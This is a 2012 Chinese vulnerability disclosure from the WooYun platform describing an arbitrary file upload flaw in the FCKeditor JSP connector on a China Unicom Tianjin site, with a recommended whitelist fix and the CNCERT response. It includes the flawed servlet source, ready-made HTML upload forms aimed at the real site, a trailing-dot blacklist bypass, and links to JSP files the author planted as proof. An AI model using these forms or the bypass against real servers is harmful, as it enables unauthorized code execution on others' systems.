漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-07387
漏洞标题:中国联通某省站点任意文件上传
相关厂商:中国联通
漏洞作者: possible
提交时间:2012-05-21 18:37
修复时间:2012-07-05 18:37
公开时间:2012-07-05 18:37
漏洞类型:文件上传导致任意代码执行
危害等级:低
自评Rank:1
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-05-21: 细节已通知厂商并且等待厂商处理中
2012-05-23: 厂商已经确认,细节仅向厂商公开
2012-06-02: 细节向核心白帽子及相关领域专家公开
2012-06-12: 细节向普通白帽子公开
2012-06-22: 细节向实习白帽子公开
2012-07-05: 细节向公众公开
简要描述:
没啥说的,看到大神发的http://www.wooyun.org/bugs/wooyun-2010-05810已经公布了,但是漏洞没修补,就这样就公布呀,想 是不是联通不知道怎么修补呀,就简单在发一个类似的问题。
详细说明:
不好意思直接用人家发过的,就在找一个吧,天津的。
文件上传点
www.tj.chinaunicom.com/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/
FCK上传点,看一下web.xml
<servlet-name>Connector</servlet-name>
<servlet-class>
com.fredck.FCKeditor.connector.ConnectorServlet
类似是这样,该上传点,对应的class是com.fredck.FCKeditor.connector.ConnectorServlet.class
该类一般在FCKeditor-2.3.jar(不同版本不相同,说实话我仅测试了这个版本的)
源代码中有这样两个方法
public void doGet(HttpServletRequest request, HttpServletResponse response)
public void doPost(HttpServletRequest request, HttpServletResponse response)
doget是大家经常用的就不说了,就是获得所有上传文件列表。
dopost其实就是FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector 页面最终上传文件在后台执行的页面,
而看一下dopost的实现
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
if (debug) System.out.println("--- BEGIN DOPOST ---");
request.setCharacterEncoding("utf-8");
response.setContentType("text/html; charset=UTF-8");
response.setHeader("Cache-Control", "no-cache");
PrintWriter out = response.getWriter();
String commandStr = request.getParameter("Command");
String typeStr = request.getParameter("Type");
String currentFolderStr = "";
currentFolderStr = new String(request.getParameter("CurrentFolder").getBytes("ISO8859_1"), "UTF-8");
String realFileName = new String(request.getParameter("realFileName").getBytes("ISO8859_1"), "UTF-8");
String[] qmh_pathParts = realFileName.replace('\\', '/').split("/");
realFileName = qmh_pathParts[(qmh_pathParts.length - 1)];
String currentPath = baseDir + typeStr + currentFolderStr;
String currentDirPath = getServletContext().getRealPath(currentPath);
if (debug) System.out.println(currentDirPath);
String retVal = "0";
String newName = "";
if (!commandStr.equals("FileUpload")) {
retVal = "203";
} else {
DiskFileUpload upload = new DiskFileUpload();
upload.setRepositoryPath(getServletContext().getRealPath(baseDir) + "\\temp\\");
try
{
List items = upload.parseRequest(request);
Map fields = new HashMap();
Iterator iter = items.iterator();
while (iter.hasNext()) {
FileItem item = (FileItem)iter.next();
if (item.isFormField())
fields.put(item.getFieldName(), item.getString());
else
fields.put(item.getFieldName(), item);
}
FileItem uplFile = (FileItem)fields.get("NewFile");
String fileName = realFileName;
String nameWithoutExt = getNameWithoutExtension(fileName);
String ext = getExtension(fileName);
File pathToSave = new File(currentDirPath, fileName);
int counter = 1;
while (pathToSave.exists()) {
newName = nameWithoutExt + "(" + counter + ")" + "." + ext;
retVal = "201";
pathToSave = new File(currentDirPath, newName);
counter++;
}
uplFile.write(pathToSave);
} catch (Exception ex) {
ex.printStackTrace();
retVal = "203";
}
}
out.println("<script type=\"text/javascript\">");
out.println("window.parent.frames['frmUpload'].OnUploadCompleted(" + retVal + ",'" + newName + "');");
out.println("</script>");
out.flush();
out.close();
if (debug) System.out.println("--- END DOPOST ---");
}
不用说,典型上传漏洞,未对文件后缀限制,这个其实是FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
上传漏洞的根源,有些站点以为删除了FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector就防住了漏洞,其实完
全可以自己构造,如:
<body >
<form action ="http://www.tj.chinaunicom.com/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?
Command=FileUpload&Type=Image&CurrentFolder=/" method="post" name="form1" enctype="multipart/form-data">
<input name="NewFile" type="FILE" >
<input type="submit" name="Submit" value="上传" >
</form>
</body>
保存成html就可以实现上传。
题外话:
对该编辑器简单看一下还有一个上传点:web.xml中配置如下:
<servlet-name>SimpleUploader</servlet-name>
<servlet-class>
com.fredck.FCKeditor.uploader.SimpleUploaderServlet
</servlet-class>
<servlet-name>SimpleUploader</servlet-name>
<url-pattern>
/FCKeditor/editor/filemanagerhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/simpleuploader
</url-pattern>
因此上传处理class是com.fredck.FCKeditor.uploader.SimpleUploaderServlet.class,打开源代码看一下,初次看来做的很好,有后缀限制
但是细看还是可能存在问题,主要在如下函数中判断后缀
private boolean extIsAllowed(String fileType, String ext)
{
ext = ext.toLowerCase();
ArrayList allowList = (ArrayList)allowedExtensions.get(fileType);
ArrayList denyList = (ArrayList)deniedExtensions.get(fileType);
if (allowList.size() == 0)
{
return !denyList.contains(ext);
}
if (denyList.size() == 0)
{
return allowList.contains(ext);
}
return false;
}
是一个黑名单和白名单的问题,如果web.xml中没有设置白名单,就会变成黑名单检查,黑名单你懂的,很容易绕过。
看了一些站点web.xml关于fck的配置都类似这样
<init-param>
<param-name>AllowedExtensionsFile</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>DeniedExtensionsFile</param-name>
<param-value>
php|php3|php5|phtml|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi
</param-value>
</init-param>
对File类型是白名单为空,黑名单检查,大家都明白怎么绕过了,
<body >
<form action ="http://www.tj.chinaunicom.com/FCKeditor/editor/filemanagerhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/simpleuploader??Command=FileUpload&Type=File&CurrentFolder=/" method="post"
name="form1" enctype="multipart/form-data">
<input name="NewFile" type="FILE" >
<input type="submit" name="Submit" value="上传" >
</form>
</body>
上传的时候 简单的在后面名后加个点(windows系统)就可以,如果没写明白,看看以前写在这里的
http://hi.baidu.com/possible_1/blog/item/fa5d6731f933cb729922ed95.html
如果还名看明白,就是因为我没写清楚 呵呵
没有去看这个站上到底有什么 害怕被抓,大公司惹不起....
漏洞证明:
黑名单被绕过
证明一下来过
http://www.tj.chinaunicom.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/UserFiles/Image/job.jsp
http://www.tj.chinaunicom.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/UserFiles/File/test.jsp
修复方案:
其实修复很简单,但不是像http://121.31.254.132:8088/ 简单删除一个html就可以,证明一下 这个修复是不安全的
http://121.31.254.132:8088/UserFiles/Image/login.jsp
给出修复建议:
完全使用com.fredck.FCKeditor.uploader.SimpleUploaderServlet类上传,同时在web.xml添加
<param-name>AllowedExtensionsFile</param-name>
<param-value></param-value>项,使得不为空,继而上传变成白名单检查
到底联通有多少jsp 使用有漏洞的fck,不知道不当雷锋了,据说联通很有钱,据说有钱的都抠,那还免费测啥呀...
版权声明:转载请注明来源 possible@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:14
确认时间:2012-05-23 11:04
厂商回复:
CNVD确认漏洞情况,复现部分过程。鉴于此前涉事单位所属分公司处置力度情况,转由CNCERT协调集团公司处置,并作为典型事件抄报电信行业相关单位。不止一家单位存在这样的问题。
对该漏洞评分如下:
CVSS评分:(AV:R/AC:L/Au:NR/C:C/A:P/I:P/B:N) Score:8.97(最高10分,高危)
即:远程攻击、攻击难度低、不需要用户认证,对机密性造成完全影响,对可用性、完整性造成部分影响。
技术难度系数:1.2(应致谢possible同学的整套技术讲解)
影响危害系数:1.3(较严重,暂不归类为通用软件漏洞,不过评估影响较广泛)
综合评分:8.97*1.2*1.3=13.993
最新状态:
暂无